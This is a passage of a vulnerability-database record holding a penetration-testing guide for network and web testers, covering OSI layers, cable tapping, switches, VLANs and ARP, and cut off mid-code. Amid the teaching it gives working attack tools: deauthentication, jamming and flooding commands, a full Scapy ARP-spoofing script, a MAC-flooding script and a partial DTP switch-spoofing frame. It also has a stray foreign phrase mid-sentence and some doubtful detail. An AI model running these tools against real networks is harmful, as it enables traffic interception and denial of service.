etc.)\n5. Participate in bug bounty programs\n6. Stay updated with security news and CVEs\n\n### Stay Legal, Stay Ethical\nRemember that with great power comes great responsibility. Use these skills to make the internet safer, not to cause harm. Always test with permission and report vulnerabilities responsibly.\n\n---\n\n*\u00a9 2025 awjunaid.com - For authorized security testing only*", "creation_timestamp": "2026-07-02T07:27:36.916751Z"}, {"uuid": "9039e9a4-bb95-4706-921e-028ad163313b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/bbrk364/b126c399645779d3dd087413971085ab", "content": "# Ultimate Network Security for Web Penetration Testing & Bug Bounty Guide\n\n## Comprehensive Master Reference for Security Professionals\n\n---\n\n# Table of Contents\n\n**Part 1: Networking Fundamentals for Penetration Testers**\n- 1.1 The OSI Model: A Hacker's Perspective\n- 1.2 TCP/IP Protocol Suite Deep Dive\n- 1.3 IPv4 and IPv6: Critical Differences for Testing\n- 1.4 Network Addressing and Subnetting Mastery\n- 1.5 Network Protocols Every Tester Must Know\n- 1.6 Wireless Networking Fundamentals\n- 1.7 Software-Defined Networking and Virtual Networks\n\n**Part 2: Network Architecture for Penetration Testers**\n- 2.1 Enterprise Network Topologies\n- 2.2 Network Segmentation and Security Zones\n- 2.3 Network Devices: Attack Surface Analysis\n- 2.4 Cloud Network Architecture\n- 2.5 Data Center Networking\n- 2.6 Industrial Control System Networks\n- 2.7 Internet of Things Network Architectures\n\n**Part 3: Advanced Reconnaissance and Enumeration**\n- 3.1 Passive Reconnaissance Methodology\n- 3.2 Active Scanning and Enumeration\n- 3.3 Service-Specific Enumeration\n- 3.4 Network Mapping and Visualization\n- 3.5 OSINT for Network Intelligence\n- 3.6 Dark Web and Deep Web Reconnaissance\n- 3.7 Automated Reconnaissance Frameworks\n\n**Part 4: Network-Based Web Attacks**\n- 4.1 Man-in-the-Middle (MITM) Attacks\n- 4.2 HTTP Request Smuggling\n- 4.3 Web Cache Poisoning and Deception\n- 4.4 DNS Rebinding Attacks\n- 4.5 Server-Side Request Forgery (SSRF)\n- 4.6 Cross-Site WebSocket Hijacking\n- 4.7 HTTP Desync Attacks\n- 4.8 Protocol Confusion Attacks\n- 4.9 Session-Based Network Attacks\n- 4.10 Advanced Persistent Threat Network Techniques\n\n**Part 5: Traffic Analysis and Network Forensics**\n- 5.1 Packet Capture and Analysis\n- 5.2 Protocol Anomaly Detection\n- 5.3 Network Forensics for Incident Response\n- 5.4 Encrypted Traffic Analysis\n- 5.5 Network Flow Analysis\n- 5.6 Malware Traffic Patterns\n- 5.7 Timeline Analysis and Reconstruction\n- 5.8 Network Evidence Collection and Preservation\n\n**Part 6: Defensive Architectures and Bypass Techniques**\n- 6.1 Web Application Firewall (WAF) Bypass\n- 6.2 Intrusion Detection/Prevention System Evasion\n- 6.3 Network Access Control Bypass\n- 6.4 Firewall and ACL Bypass\n- 6.5 Load Balancer and Reverse Proxy Testing\n- 6.6 Content Delivery Network (CDN) Bypass\n- 6.7 DDoS Protection Evasion\n- 6.8 Bot Detection and Mitigation Bypass\n\n**Part 7: Emerging Technologies and Future Trends**\n- 7.1 Cloud Network Security\n- 7.2 Container and Orchestration Networking\n- 7.3 IoT and OT Network Security\n- 7.4 5G and Mobile Network Security\n- 7.5 Zero Trust Network Architecture\n- 7.6 AI/ML in Network Security\n- 7.7 Quantum Computing Implications\n- 7.8 Blockchain and Decentralized Networks\n\n**Part 8: Penetration Testing Methodology and Reporting**\n- 8.1 Comprehensive Testing Methodology\n- 8.2 Professional Reporting\n- 8.3 Tools of the Trade\n- 8.4 Vulnerability Scoring and Prioritization\n- 8.5 Remediation Verification\n- 8.6 Continuous Security Testing\n- 8.7 Compliance and Regulatory Requirements\n\n**Part 9: Bug Bounty Hunting with Network Focus**\n- 9.1 Bug Bounty Methodology for Network Issues\n- 9.2 Advanced Bug Bounty Techniques\n- 9.3 Ethics and Legal Considerations\n- 9.4 Bug Bounty Platforms and Programs\n- 9.5 Maximizing Bounty Payouts\n- 9.6 Building Reputation in the Community\n- 9.7 From Bug Bounty to Career\n\n**Part 10: Continuous Learning and Skill Development**\n- 10.1 Certifications and Training Paths\n- 10.2 Practice Environments\n- 10.3 Staying Current\n- 10.4 Building Your Own Lab\n- 10.5 Contributing to the Community\n- 10.6 Specialization Paths\n- 10.7 Career Progression in Network Security\n\n**Appendices**\n- A: Comprehensive Command Reference\n- B: Port Numbers and Service Mapping\n- C: Vulnerability Databases and Resources\n- D: Sample Penetration Testing Reports\n- E: Legal Documents and Templates\n- F: Glossary of Terms\n- G: Further Reading and References\n\n---\n\n# Introduction: The Critical Role of Network Security in Web Penetration Testing\n\nNetwork security forms the backbone of all web application security assessments. Before you can exploit a SQL injection or bypass authentication, you must first understand how data moves across networks, how systems communicate, and where the weak points exist in this communication chain. This comprehensive guide will transform your understanding of network security from basic concepts to advanced exploitation techniques used by top bug bounty hunters and penetration testers.\n\nThe modern web application landscape has evolved far beyond simple client-server architectures. Today's applications span cloud environments, content delivery networks, microservices, and containerized infrastructures. Each layer introduces new network-level vulnerabilities that can be chained with application-level flaws to achieve complete system compromise.\n\n## Why Network Security Matters in Web Testing\n\nWhen conducting web application penetration tests, many testers focus exclusively on the application layer, examining code, inputs, and business logic. However, this narrow focus misses critical vulnerabilities that exist at the network level. Consider these scenarios:\n\n**Scenario 1: The Bypassed Authentication**\nA web application implements robust authentication with multi-factor authentication, strong password policies, and account lockout. However, the application communicates with its database over an unencrypted network connection. An attacker with access to the internal network captures database credentials and bypasses all application-layer security.\n\n**Scenario 2: The Trusted Network Assumption**\nAn internal web application trusts requests coming from the corporate network, assuming they're legitimate. An attacker compromises a low-value system on the network, then uses it to attack the web application with elevated privileges, exploiting the network trust relationship.\n\n**Scenario 3: The Cloud Metadata Heist**\nA web application suffers from a Server-Side Request Forgery (SSRF) vulnerability. The attacker uses this to query the cloud metadata service, obtaining temporary credentials with extensive permissions. Network-level understanding turns a medium-risk web vulnerability into a critical infrastructure compromise.\n\n**Scenario 4: The Session Hijacking**\nA user connects to a web application from a coffee shop Wi-Fi. The application uses HTTPS, but an attacker performs SSL stripping, downgrading the connection to HTTP. The attacker captures the session cookie and gains unauthorized access to the user's account.\n\nEach scenario demonstrates that web application security cannot be separated from network security. They are intrinsically linked, and understanding both domains is essential for comprehensive security assessments.\n\n## The Evolution of Network Attacks\n\nNetwork attacks have evolved significantly over the decades:\n\n**1980s-1990s: The Era of Simple Attacks**\nEarly network attacks were straightforward: packet sniffing on shared media, IP spoofing, and basic denial of service. Networks were flat, security was minimal, and attackers exploited fundamental protocol weaknesses.\n\n**2000s: The Rise of Application Awareness**\nAs network security improved with firewalls and intrusion detection systems, attackers shifted focus to applications. Web applications became the primary target, and network attacks were often used as supporting elements for application exploitation.\n\n**2010s: The Cloud and Mobile Revolution**\nCloud computing and mobile devices transformed network architectures. Traditional perimeter-based security became obsolete as applications moved to the cloud and users connected from anywhere. Network attacks adapted to target cloud metadata, APIs, and mobile backends.\n\n**2020s: Zero Trust and Beyond**\nModern network security embraces zero trust principles: never trust, always verify. Networks are increasingly virtualized, encrypted, and segmented. Attackers respond with sophisticated techniques that exploit trust relationships, abuse legitimate services, and chain multiple vulnerabilities across network and application layers.\n\n## Who This Guide Is For\n\nThis comprehensive guide serves multiple audiences:\n\n**Aspiring Penetration Testers**\nIf you're starting your journey in security, this guide provides the foundational knowledge you need. You'll learn how networks really work, where vulnerabilities hide, and how to think like an attacker. The hands-on examples and methodologies will accelerate your learning curve.\n\n**Experienced Web Application Testers**\nIf you already understand web vulnerabilities but want to expand your skills, this guide bridges the gap between application and network testing. You'll learn how to leverage network access for deeper exploitation and how network vulnerabilities amplify application risks.\n\n**Bug Bounty Hunters**\nIf you're hunting for bugs, network-focused vulnerabilities often yield higher payouts because they're less commonly reported. This guide reveals techniques for discovering DNS misconfigurations, cloud infrastructure exposures, and network-level flaws that other hunters miss.\n\n**Security Engineers and Architects**\nIf you're responsible for building and defending networks, understanding attack techniques helps you design better defenses. This guide shows how attackers think and operate, enabling proactive security improvements.\n\n**IT Professionals and System Administrators**\nIf you manage networks and systems, this guide helps you understand security implications of your configurations. You'll learn what attackers look for and how to harden your infrastructure against real-world threats.\n\n## How to Use This Guide\n\nThis guide is designed as both a learning resource and a reference manual:\n\n**For Sequential Learning**\nIf you're new to network security, start at the beginning and work through each section. The content builds progressively, with later sections assuming understanding of earlier concepts. Complete the hands-on exercises to reinforce learning.\n\n**For Targeted Reference**\nIf you need information on a specific topic, use the table of contents to find relevant sections. Each section is self-contained with cross-references to related topics. The comprehensive appendices provide quick access to commands, port numbers, and resources.\n\n**For Practical Application**\nThroughout the guide, you'll find practical examples, command snippets, and code samples. Set up a lab environment and experiment with these techniques. Real understanding comes from hands-on practice, not just reading.\n\n**For Continuous Learning**\nNetwork security evolves constantly. Use the resources in Part 10 to stay current, and revisit sections as your skills develop. What seems complex today will become second nature with practice.\n\n## The Mindset of a Network Penetration Tester\n\nBefore diving into technical details, it's essential to understand the mindset that separates exceptional penetration testers from average ones:\n\n**Curiosity and Skepticism**\nGreat testers are inherently curious about how things work and skeptical of assumptions. When you see a network configuration, ask: \"Why is this set up this way? What assumptions are being made? How could this be abused?\"\n\n**Persistence and Patience**\nNetwork testing often requires patience. Port scans take time. Service enumeration requires careful analysis. Complex attacks may require multiple attempts. The best testers don't give up when initial attempts fail.\n\n**Creativity and Lateral Thinking**\nThe most impactful vulnerabilities often come from unexpected combinations. An SSRF vulnerability in a web application might lead to cloud metadata access, which provides credentials to compromise a database, which contains customer data. Creative testers see connections others miss.\n\n**Methodical and Thorough**\nWhile creativity is important, methodical thoroughness is essential. Comprehensive reconnaissance, systematic testing, and careful documentation separate professional assessments from casual hacking. Leave no stone unturned, but do so systematically.\n\n**Ethical and Responsible**\nWith great power comes great responsibility. The techniques in this guide can cause real damage if misused. Always test with proper authorization, respect scope boundaries, and handle discovered vulnerabilities responsibly.\n\n## Setting Up Your Testing Environment\n\nThroughout this guide, you'll need a proper testing environment. Here's what you should set up before proceeding:\n\n**Virtualization Platform**\nInstall VMware Workstation, VirtualBox, or Proxmox to run multiple virtual machines. This allows you to create isolated networks for safe testing.\n\n**Kali Linux**\nKali Linux is the standard penetration testing distribution, pre-loaded with hundreds of tools. Install it as your primary attack platform.\n\n**Target Systems**\nSet up vulnerable targets for practice:\n- Metasploitable 2 and 3 (intentionally vulnerable Linux)\n- DVWA (Damn Vulnerable Web Application)\n- WebGoat (OWASP training application)\n- Windows VMs with evaluation versions\n- pfSense (firewall/router for network segmentation)\n\n**Network Simulation**\nFor complex network testing, use GNS3 or EVE-NG to simulate routers, switches, and firewalls. These platforms allow you to build enterprise-scale networks on a single computer.\n\n**Cloud Testing Environment**\nCreate accounts on AWS, Azure, or GCP for cloud-specific testing. Use free tiers and always terminate resources after testing to avoid charges.\n\n**Docker for Container Testing**\nInstall Docker and Kubernetes for container security testing. Run vulnerable containers intentionally for practice.\n\n**Isolation and Safety**\nAlways isolate your lab network from production networks. Use host-only or NAT networking in virtualization software to prevent accidental attacks on real systems.\n\n---\n\n# Part 1: Networking Fundamentals for Penetration Testers\n\n## 1.1 The OSI Model: A Hacker's Perspective\n\nThe Open Systems Interconnection (OSI) model remains the foundational framework for understanding network communications. For penetration testers, each layer represents a potential attack surface, and understanding the intricacies of each layer reveals opportunities for exploitation that others might miss.\n\n### Layer 1: Physical Layer - The Hardware Attack Surface\n\nThe physical layer encompasses the actual hardware that moves data: cables, switches, network interface cards, hubs, repeaters, and wireless signals. While often overlooked in web application testing, physical layer attacks can bypass even the most sophisticated software security controls because they operate below the level where software security exists.\n\n#### Understanding Physical Layer Components\n\n**Copper Cabling (Ethernet)**\nEthernet over twisted pair copper cabling (Categories 5e, 6, 6a, 7, 8) remains the most common physical medium for local networks. Each category has different characteristics:\n\n- **Cat5e:** Supports up to 1 Gbps at 100 MHz, common in older installations\n- **Cat6:** Supports up to 10 Gbps at 250 MHz for distances up to 55 meters\n- **Cat6a:** Supports 10 Gbps at 500 MHz for full 100 meter distance\n- **Cat7:** Shielded cabling supporting up to 10 Gbps at 600 MHz\n- **Cat8:** Supports 25-40 Gbps at 2000 MHz for data center applications\n\nThe electrical signals traveling through copper cabling generate electromagnetic fields that can be intercepted with appropriate equipment. This phenomenon, known as electromagnetic compromise or Van Eck phreaking, allows attackers to reconstruct data by analyzing these emissions from a distance.\n\n**Fiber Optic Cabling**\nFiber optic cables transmit data as light pulses through glass or plastic fibers. They offer higher bandwidth, longer distances, and immunity to electromagnetic interference. However, they're not immune to tapping:\n\n- **Macrobending:** Physical stress on the fiber causes light to escape, which can be captured\n- **Splitting:** Optical splitters can divert a portion of the light signal\n- **Polishing:** Removing cladding to access the light-carrying core\n\nFiber taps are more difficult to detect than copper taps because they don't require breaking the electrical circuit, but they require physical access to the cable and specialized equipment.\n\n**Wireless Signals**\nWireless networking uses radio frequencies to transmit data:\n- **2.4 GHz:** Better range, more interference (microwaves, Bluetooth, cordless phones)\n- **5 GHz:** Higher speed, shorter range, less interference\n- **6 GHz (Wi-Fi 6E):** New spectrum, even higher speeds, minimal interference\n- **60 GHz (WiGig):** Very high speed, very short range, line-of-sight required\n\nWireless signals propagate through the air and walls, making them inherently interceptable. Directional antennas can capture signals from significant distances.\n\n**Network Interface Cards (NICs)**\nNICs connect devices to the network medium. They have unique MAC addresses burned into firmware and handle the electrical/optical conversion of data. Modern NICs support features like:\n- **Wake-on-LAN:** Remotely power on systems\n- **PXE Boot:** Network booting of operating systems\n- **Checksum Offloading:** Hardware calculation of packet checksums\n- **TCP Offload Engine:** Hardware processing of TCP/IP stack\n\n#### Physical Layer Attack Vectors\n\n**Cable Tapping and Eavesdropping**\n\n**Copper Tap Techniques:**\n- **Inductive Coupling:** Clamping a device around a cable to capture electromagnetic signals without breaking the insulation. This non-intrusive technique is difficult to detect but provides weaker signal strength.\n- **Insertion Tap:** Physically cutting the cable and inserting a T-connector or vampire tap. This provides strong signal access but creates physical evidence.\n- **Split Pair Tap:** Using the unused wire pairs in Ethernet cables (10/100 Mbps uses only 2 of 4 pairs) to carry tapped signals.\n\n**Fiber Tap Techniques:**\n- **Cladding Tap:** Removing the outer jacket and bending the fiber to cause light leakage, captured by a photodetector.\n- **Splitter Tap:** Inserting a passive optical splitter (90/10 or 50/50 split) that diverts\u4e00\u90e8\u5206 of the light signal to the tapping device.\n- **Polishing Tap:** Polishing the fiber cladding until thin enough for light to escape, then capturing with a prism or photodetector.\n\n**Detection Challenges:**\n- Optical time-domain reflectometry (OTDR) can detect physical changes in fiber\n- Capacitance measurements can detect copper taps\n- Active monitoring for signal loss or reflection changes\n- Physical security inspections\n\n**Signal Jamming and Denial of Service**\n\n**Copper Domain Jamming:**\n- **Electrical Noise Injection:** Introducing electrical interference on the cable\n- **Collision Creation:** Forcing collisions in half-duplex environments\n- **Signal Attenuation:** Physically damaging cables to degrade signal quality\n\n**Wireless Jamming Techniques:**\n- **Constant Carrier:** Transmitting continuous signal on the target frequency\n- **Reactive Jamming:** Transmitting only when legitimate traffic is detected\n- **Selective Jamming:** Targeting specific packets (beacons, ACKs, management frames)\n- **Deauthentication Attacks:** Sending spoofed deauth frames to disconnect clients\n\n**Wireless Jamming Tools:**\n```bash\n# Using mdk4 for deauthentication attacks\nmdk4 wlan0 d -B  -c \n\n# Using wifijammer for continuous jamming\nwifijammer -c  -s \n\n# Using hping3 for network flooding\nhping3 --flood --rand-source --destport 80 \n```\n\n**Hardware Implants and Malicious Devices**\n\n**Types of Hardware Implants:**\n- **Keyloggers:** Devices inserted between keyboard and computer capturing keystrokes\n- **Network Taps:** Small devices inserted into network cables capturing all traffic\n- **USB Ninja Cables:** USB cables containing hidden wireless transmitters\n- **Malicious Charging Stations:** USB charging ports that capture data while charging\n- **Rogue Access Points:** Small devices creating unauthorized wireless access\n\n**Deployment Scenarios:**\n- Physical penetration testing (accessing server rooms, wiring closets)\n- Social engineering (gifts, lost USB drives, fake chargers)\n- Supply chain attacks (compromised hardware before delivery)\n- Insider threats (disgruntled employees installing devices)\n\n**Detection Methods:**\n- Physical inspections of cabling and equipment\n- Network scanning for unauthorized devices\n- Spectrum analysis for rogue wireless signals\n- Tamper-evident seals and monitoring\n\n**Electromagnetic Radiation Capture (Van Eck Phreaking)**\n\n**The Van Eck Phenomenon:**\nIn 1985, Dutch researcher Wim van Eck demonstrated that CRT monitors emit electromagnetic radiation that can be captured from a distance and reconstructed to display the original image. Modern research extends this to LCD screens, keyboards, USB cables, and network equipment.\n\n**Capture Techniques:**\n- **TEMPEST:** U.S. government standard for protecting against electromagnetic eavesdropping\n- **HJR-7:** High-frequency receivers for capturing compromising emanations\n- **Software-defined radio (SDR):** Using RTL-SDR dongles for low-cost electromagnetic capture\n- **Near-field probes:** Small antennas placed close to equipment\n\n**Information That Can Be Captured:**\n- Screen displays (video signals)\n- Keyboard keystrokes\n- Network traffic (especially unshielded cabling)\n- Disk drive activity\n- CPU processing patterns\n\n**Countermeasures:**\n- Shielded equipment (TEMPEST-rated)\n- Distance and physical barriers\n- Signal noise generation\n- Fiber optics instead of copper\n- Faraday cages for sensitive areas\n\n#### Real-World Penetration Testing Scenarios\n\n**Scenario: Physical Access to Network Closet**\nDuring a physical penetration test, you gain access to an unlocked network closet. What can you do?\n\n1. **Install a Network Tap:** Insert an inline tap between the switch and uplink, capturing all traffic to/from that network segment.\n2. **Deploy a Rogue Access Point:** Connect a small wireless access point to an unused switch port, creating an entry point for remote access.\n3. **Gather Intelligence:** Photograph equipment labels, note cable colors (often indicate VLANs), identify critical infrastructure.\n4. **Plant a Hardware Implant:** Install a small device that provides persistent remote access.\n5. **Physical Keylogging:** Install hardware keyloggers on administrator workstations.\n\n**Scenario: Coffee Shop Wi-Fi Assessment**\nTesting the security of a public Wi-Fi network:\n\n1. **Signal Analysis:** Use spectrum analyzers to identify all wireless networks and their signal strengths.\n2. **Evil Twin Attack:** Set up an access point with the same SSID as the legitimate network, but stronger signal, causing clients to connect to your AP.\n3. **Hardware Implants:** Check for suspicious devices plugged into Ethernet jacks or USB ports.\n4. **Physical Observation:** Note where people sit, what devices they use, and whether they use privacy screens.\n\n#### Defensive Considerations for Physical Layer\n\n**For Penetration Testers (Understanding Defenses):**\n- Physical security controls (locks, cameras, access control systems)\n- Tamper-evident seals and monitoring\n- Cable management and protection\n- Electromagnetic shielding requirements\n- Equipment disposal procedures\n\n**For Defenders:**\n- Restrict physical access to network infrastructure\n- Use fiber optics for sensitive connections\n- Implement cable monitoring systems\n- Regular physical security audits\n- Employee awareness training\n\n### Layer 2: Data Link Layer - The Switch and MAC Address Domain\n\nThe data link layer handles communication between directly connected devices on the same network segment. It uses Media Access Control (MAC) addresses to identify devices and manages access to the physical medium. This layer is divided into two sublayers: Logical Link Control (LLC) and Media Access Control (MAC).\n\n#### Understanding Data Link Layer Components\n\n**MAC Addresses**\nMAC addresses are 48-bit identifiers burned into network interfaces, typically represented as six groups of two hexadecimal digits (e.g., 00:11:22:AA:BB:CC). The first three octets (OUI - Organizationally Unique Identifier) identify the manufacturer, while the last three are device-specific.\n\n**MAC Address Structure:**\n- **First Octet Bit 0:** Individual/Group (0 = unicast, 1 = multicast)\n- **First Octet Bit 1:** Universal/Local (0 = globally unique, 1 = locally administered)\n- **Remaining 46 bits:** Unique identifier\n\n**Locally Administered Addresses:**\nAdministrators can override burned-in MAC addresses with locally administered addresses (second bit set to 1). This is commonly used for:\n- MAC address spoofing (privacy/security)\n- Virtual machines (unique MACs for VMs)\n- High availability configurations (floating MAC addresses)\n\n**Switches and Their Operation**\n\n**Switch Functions:**\n- **MAC Learning:** Records source MAC addresses and associated ports\n- **Forwarding:** Sends frames only to the port where destination MAC resides\n- **Filtering:** Drops frames destined for MAC addresses on the same port\n- **Flooding:** Sends frames to all ports when destination MAC unknown\n- **Aging:** Removes old MAC entries after inactivity (typically 300 seconds)\n\n**Content Addressable Memory (CAM) Table:**\nThe CAM table (also called MAC address table) stores mappings between MAC addresses and switch ports:\n```\nPort 1: MAC A, MAC B, MAC C\nPort 2: MAC D, MAC E\nPort 3: MAC F\nPort 4: (empty)\n```\n\nWhen a frame arrives, the switch:\n1. Looks up destination MAC in CAM table\n2. If found, forwards frame only to that port\n3. If not found, floods frame to all ports except source\n4. If destination MAC is on source port, drops frame\n\n**Switch Forwarding Modes:**\n- **Store-and-Forward:** Receives entire frame, checks CRC, then forwards\n- **Cut-Through:** Forwards as soon as destination MAC is read (lower latency)\n- **Fragment-Free:** Waits for collision window (64 bytes) before forwarding\n\n**VLANs (Virtual Local Area Networks)**\n\nVLANs segment switches into multiple logical switches, isolating traffic between groups:\n\n**802.1Q VLAN Tagging:**\nVLAN tags are inserted into Ethernet frames:\n- **TPID (Tag Protocol ID):** 0x8100 (indicates VLAN tag)\n- **PCP (Priority Code Point):** 3 bits for QoS (802.1p)\n- **DEI (Drop Eligible Indicator):** 1 bit for congestion management\n- **VID (VLAN ID):** 12 bits (1-4094 usable, 0 and 4095 reserved)\n\n**Trunk Ports vs Access Ports:**\n- **Access Port:** Carries traffic for single VLAN, strips tags\n- **Trunk Port:** Carries traffic for multiple VLANs, maintains tags\n- **Native VLAN:** Untagged traffic on trunk (VLAN 1 by default)\n\n**VLAN Types:**\n- **Default VLAN (VLAN 1):** All ports initially, security risk if unchanged\n- **Data VLAN:** User traffic segregation\n- **Voice VLAN:** Separate VLAN for VoIP phones\n- **Management VLAN:** Switch management access\n- **Native VLAN:** Untagged on trunks\n- **Private VLANs:** Further isolation within VLAN (isolated, community, promiscuous)\n\n**ARP (Address Resolution Protocol)**\n\nARP maps IP addresses to MAC addresses on local networks:\n\n**ARP Operation:**\n1. Host A needs to communicate with 192.168.1.2\n2. Checks ARP cache for existing mapping\n3. If not found, broadcasts ARP request: \"Who has 192.168.1.2?\"\n4. Host B sees request, sends ARP reply: \"192.168.1.2 is at 00:11:22:33:44:55\"\n5. Host A updates ARP cache and sends packets\n\n**ARP Packet Structure:**\n- **Hardware Type:** 1 for Ethernet\n- **Protocol Type:** 0x0800 for IPv4\n- **Hardware Size:** 6 (MAC address length)\n- **Protocol Size:** 4 (IPv4 address length)\n- **Opcode:** 1 = request, 2 = reply\n- **Sender MAC/IP:** Source information\n- **Target MAC/IP:** Destination information (target MAC zero in request)\n\n**ARP Cache:**\nOperating systems cache ARP entries to reduce broadcasts:\n- **Linux:** `arp -n` or `ip neigh show`\n- **Windows:** `arp -a`\n- **MacOS:** `arp -a`\n\nCache timeout varies by OS (typically 20-60 seconds for incomplete, up to 20 minutes for complete).\n\n**STP (Spanning Tree Protocol)**\n\nSTP prevents loops in redundant switch topologies:\n\n**Bridge Protocol Data Units (BPDUs):**\nSwitches exchange BPDUs to:\n- Elect root bridge (lowest bridge ID)\n- Determine shortest path to root\n- Block redundant paths to prevent loops\n\n**BPDU Types:**\n- **Configuration BPDU:** Sent by root bridge to maintain topology\n- **TCN (Topology Change Notification) BPDU:** Sent when topology changes\n\n**Port States:**\n1. **Blocking:** No forwarding, listens for BPDUs (20 sec)\n2. **Listening:** No forwarding, learns topology (15 sec)\n3. **Learning:** No forwarding, builds MAC table (15 sec)\n4. **Forwarding:** Normal operation\n5. **Disabled:** Administratively down\n\n**STP Versions:**\n- **802.1D (Classic STP):** Slow convergence (30-50 seconds)\n- **802.1w (RSTP - Rapid STP):** Faster convergence (few seconds)\n- **802.1s (MSTP - Multiple STP):** Multiple instances per VLAN\n- **PVST+ (Per-VLAN STP+):** Cisco proprietary, instance per VLAN\n\n**CDP/LLDP (Cisco Discovery Protocol/Link Layer Discovery Protocol)**\n\nThese protocols discover neighboring devices:\n\n**CDP (Cisco Proprietary):**\n- Enabled by default on Cisco devices\n- Multicasts to 01:00:0C:CC:CC:CC\n- Advertises device ID, platform, capabilities, interfaces, VLAN, etc.\n- Sent every 60 seconds, hold time 180 seconds\n\n**LLDP (IEEE 802.1AB):**\n- Vendor-neutral alternative\n- Multicasts to 01:80:C2:00:00:0E or 01:80:C2:00:00:03\n- Similar information to CDP\n- Configurable timers (default 30 seconds)\n\n**Information Leakage:**\nBoth protocols leak valuable intelligence:\n- Device models and versions\n- IP addresses and VLANs\n- Capabilities (router, switch, bridge)\n- Interface names and descriptions\n\n#### Critical Data Link Protocols for Penetration Testers\n\n**ARP Spoofing/Poisoning Attack**\n\nARP spoofing exploits the lack of authentication in ARP:\n\n**Attack Mechanics:**\n1. Attacker sends forged ARP replies to victim, claiming to be gateway\n2. Victim updates ARP cache with attacker's MAC for gateway IP\n3. Attacker sends forged ARP replies to gateway, claiming to be victim\n4. Gateway updates ARP cache with attacker's MAC for victim IP\n5. All traffic between victim and gateway passes through attacker\n\n**ARP Spoofing Implementation:**\n```python\n#!/usr/bin/env python3\n# Comprehensive ARP spoofing tool with packet forwarding\n\nfrom scapy.all import *\nimport time\nimport sys\nimport os\nimport signal\n\nclass ARPSpoofer:\n    def __init__(self, interface, target_ip, gateway_ip):\n        self.interface = interface\n        self.target_ip = target_ip\n        self.gateway_ip = gateway_ip\n        self.target_mac = None\n        self.gateway_mac = None\n        self.running = True\n        \n        # Enable IP forwarding\n        os.system(\"echo 1 > /proc/sys/net/ipv4/ip_forward\")\n        \n    def get_mac(self, ip):\n        \"\"\"Get MAC address for IP\"\"\"\n        ans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=ip), \n                         timeout=2, iface=self.interface, verbose=False)\n        for sent, received in ans:\n            return received[Ether].src\n        return None\n    \n    def spoof(self):\n        \"\"\"Send ARP spoofing packets\"\"\"\n        print(f\"[+] Spoofing: {self.target_ip} -> {self.gateway_ip}\")\n        \n        # Create spoofed packets\n        target_packet = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac, \n                           psrc=self.gateway_ip)\n        gateway_packet = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, \n                            psrc=self.target_ip)\n        \n        while self.running:\n            send(target_packet, iface=self.interface, verbose=False)\n            send(gateway_packet, iface=self.interface, verbose=False)\n            time.sleep(2)\n    \n    def restore(self):\n        \"\"\"Restore ARP tables\"\"\"\n        print(\"\\n[+] Restoring ARP tables...\")\n        \n        # Send correct ARP entries\n        restore_target = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac,\n                            psrc=self.gateway_ip, hwsrc=self.gateway_mac)\n        restore_gateway = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,\n                             psrc=self.target_ip, hwsrc=self.target_mac)\n        \n        send(restore_target, count=4, iface=self.interface, verbose=False)\n        send(restore_gateway, count=4, iface=self.interface, verbose=False)\n        \n        # Disable IP forwarding\n        os.system(\"echo 0 > /proc/sys/net/ipv4/ip_forward\")\n    \n    def signal_handler(self, sig, frame):\n        \"\"\"Handle Ctrl+C\"\"\"\n        print(\"\\n[!] Interrupt received\")\n        self.running = False\n        self.restore()\n        sys.exit(0)\n    \n    def run(self):\n        \"\"\"Main execution\"\"\"\n        # Get MAC addresses\n        print(\"[*] Resolving MAC addresses...\")\n        self.target_mac = self.get_mac(self.target_ip)\n        self.gateway_mac = self.get_mac(self.gateway_ip)\n        \n        if not self.target_mac or not self.gateway_mac:\n            print(\"[-] Failed to resolve MAC addresses\")\n            return\n        \n        print(f\"[+] Target MAC: {self.target_mac}\")\n        print(f\"[+] Gateway MAC: {self.gateway_mac}\")\n        \n        # Set up signal handler\n        signal.signal(signal.SIGINT, self.signal_handler)\n        \n        # Start spoofing\n        self.spoof()\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 4:\n        print(\"Usage: arpspoof.py   \")\n        sys.exit(1)\n    \n    spoofer = ARPSpoofer(sys.argv[1], sys.argv[2], sys.argv[3])\n    spoofer.run()\n```\n\n**Detection and Prevention:**\n- **Static ARP entries:** Manually configure critical systems\n- **ARP spoofing detection:** Tools like arpwatch, XArp\n- **Dynamic ARP Inspection (DAI):** Switches validate ARP packets\n- **DHCP Snooping:** Prevents rogue DHCP servers\n- **Port Security:** Limits MAC addresses per port\n\n**MAC Flooding Attack**\n\n**Attack Mechanics:**\n1. Attacker floods switch with frames containing random source MAC addresses\n2. Switch CAM table fills, can't learn new addresses\n3. Switch enters \"fail-open\" mode, flooding all frames to all ports\n4. Attacker can now see all traffic (like on a hub)\n\n**MAC Flooding Implementation:**\n```python\nfrom scapy.all import *\nimport random\n\ndef mac_flood(interface, count=10000):\n    \"\"\"Flood switch with fake MAC addresses\"\"\"\n    for i in range(count):\n        # Generate random MAC\n        mac = \"02:%02x:%02x:%02x:%02x:%02x\" % tuple(random.randint(0,255) for _ in range(5))\n        \n        # Create frame with random MAC\n        frame = Ether(src=mac, dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"192.168.1.%d\" % random.randint(2,254), \n                    dst=\"192.168.1.1\")/ICMP()\n        \n        sendp(frame, iface=interface, verbose=False)\n        \n        if i % 100 == 0:\n            print(f\"[+] Sent {i} frames\")\n```\n\n**Mitigation:**\n- **Port Security:** Limit MAC addresses per port\n- **MAC Flooding Detection:** Monitor CAM table size\n- **Switch Hardening:** Disable unused ports\n- **Network Segmentation:** Limit broadcast domains\n\n**VLAN Hopping Attacks**\n\n**Switch Spoofing:**\n1. Attacker configures system as a switch with trunking enabled\n2. Sends DTP (Dynamic Trunking Protocol) frames to negotiate trunk\n3. Real switch sees DTP frames and establishes trunk\n4. Attacker now has access to all VLANs on trunk\n\n**Switch Spoofing Implementation:**\n```python\nfrom scapy.all import *\nimport struct\n\n# DTP frame (simplified)\ndtp_frame = Ether(dst=\"01:00:0c:cc:cc:cc\", src=\"02:11:22:33:44:55\")/ \\\n            LLC(dsap=0xaa, 